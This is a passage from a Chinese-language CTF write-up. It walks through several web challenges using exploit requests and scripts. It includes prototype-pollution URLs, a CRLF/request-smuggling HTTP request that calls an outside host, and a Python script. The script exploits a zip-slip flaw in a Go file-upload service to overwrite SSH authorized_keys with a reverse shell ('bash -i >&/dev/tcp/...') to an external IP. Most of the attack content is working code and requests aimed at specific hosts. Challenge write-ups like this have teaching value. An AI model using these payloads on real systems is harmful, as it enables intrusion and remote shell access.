打一个这个命令,
总结一下,import 污染 SET 方法和 hostname,
check 路由触发,

1
2
/api/server/import/?__proto__.method=SET&__proto__.socketPath=/run/redis/redis.sock&hostname=0.0.0.0
/api/server/check?hostname=0.0.0.0&path=IsAdminSession

flag 路由

/api/sever/getflag
微信截图_20230710144307.png
复现,编的 flag。

SycServer

1
2
3
4
5
6
7
8
9
func main() {
router := gin.Default()
router.POST("/file-unarchiver", fileUnarchiver)
router.GET("/", funkYou)
router.GET("/readir", readir)
router.GET("/admin", admin)
router.GET("/readfile", readfile)
router.Run("0.0.0.0:8888")
}

根路由啥的不解释,

readfile 路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func readfile(c *gin.Context) {
filename := c.Query("file")
file, err := os.Open(filename)
if err != nil {
fmt.Sprintln("Failed to open file")
return
}
defer file.Close()
// 读取⽂件内容
data := make([]byte, 1024)
count, err := file.Read(data)//data读取的文件数据,并返回长度。
if err != nil {
c.String(http.StatusOK, "Failed to read file")
return
}
// 输出⽂件内容
c.String(http.StatusOK, string(data[:count]))
}

flag400 权限,没法直接读。

file-unachive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
func fileUnarchiver(c *gin.Context) {
//接受并保存⽂件
file, err := c.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
filename := filepath.Base(file.Filename)
//将⽂件保存到服务器本地
if err := c.SaveUploadedFile(file, "./"+filename); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
z := archiver.Zip{
MkdirAll: true,
SelectiveCompression: true,
ContinueOnError: false,
OverwriteExisting: true,
ImplicitTopLevelFolder: false,
}
//解压⽂件到tmp⽬录,
err = z.Unarchive(filename, "/tmp")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
//删除压缩包⽂件
err = os.Remove(filename)
if err != nil {
log.Printf("failed to delete file '%s'\n", filename)
}
}

该路由上传文件,,并会对上传的文件进行一个解压操作,解压到 tmp 下。

admin 路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func admin(c *gin.Context) {
key, err := ioutil.ReadFile("/home/vanzy/.ssh/id_rsa")
if err != nil {
panic(err)
}
// Create signer from private key
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
panic(err)
}
// SSH server configuration
config := &ssh.ClientConfig{
User: "vanzy",
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
// Connect to SSH server
conn, err := ssh.Dial("tcp", "localhost:2221", config)
if err != nil {
panic(err)
}
defer conn.Close()
// Create a new SSH session
session, err := conn.NewSession()
if err != nil {
panic(err)
}
defer session.Close()
// Run a command on the SSH server
out, err := session.Output("ls")
if err != nil {
panic(err)
}
fmt.Println(string(out))
}

于是想办法拿到密钥并进行覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import zipfile
import requests
pub = requests.get('http://localhost:8888/readfile?file=/home/vanzy/.ssh/id_rsa.pub').text
print(pub)
with open('hh.txt', 'w') as f:
f.write('command="bash -c \'bash -i >&/dev/tcp/43.143.192.19/1145 0>&1\'" ' + pub)
# the name of the zip file to generate
zf = zipfile.ZipFile('1.zip', 'w')
url = "http://localhost:8888/file-unarchiver"
fname = 'hh.txt'
#destination path of the file
zf.write(fname, '../home/vanzy/.ssh/authorized_keys')

headers = {"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/zip"
}
cookies = {"XDEBUG_SESSION":"PHPSTORM"}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}

files = {'file':("1.zip",open("1.zip","rb"),"application/zip")}

res2 = requests.post(url=url,data=files,headers=headers,cookies=cookies,proxies=proxies,files=files)

一波文件上传,解压后目录穿越,覆盖 /home/vanzy/.ssh/authorized_keys
整个流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import zipfile
import requests
pub = requests.get('http://159.138.131.31:8888/readfile?file=/home/vanzy/.ssh/id_rsa.pub').text
print(pub)
with open('hh.txt', 'w') as f:
f.write('command="bash -c \'bash -i >&/dev/tcp/43.143.192.19/1145 0>&1\'" ' + pub)
# the name of the zip file to generate
zf = zipfile.ZipFile('1.zip', 'w')
url = "http://159.138.131.31:8888/file-unarchiver"
fname = 'hh.txt'
#destination path of the file
zf.write(fname, '../home/vanzy/.ssh/authorized_keys')

headers = {"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/zip"
}
cookies = {"XDEBUG_SESSION":"PHPSTORM"}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}

files = {'file':("1.zip",open("1.zip","rb"),"application/zip")}

res2 = requests.post(url=url,data=files,headers=headers,cookies=cookies,proxies=proxies,files=files)
requests.get(url="http://159.138.131.31:8888/admin")

easyChek1n

1
2
3
4
5
6
7
8
9
GET /2023/%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/2022.php%3furl%3d43.143.192.19%3a1145/%3fb%3d HTTP/1.1
Host: 115.239.215.75:8082
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Connection: close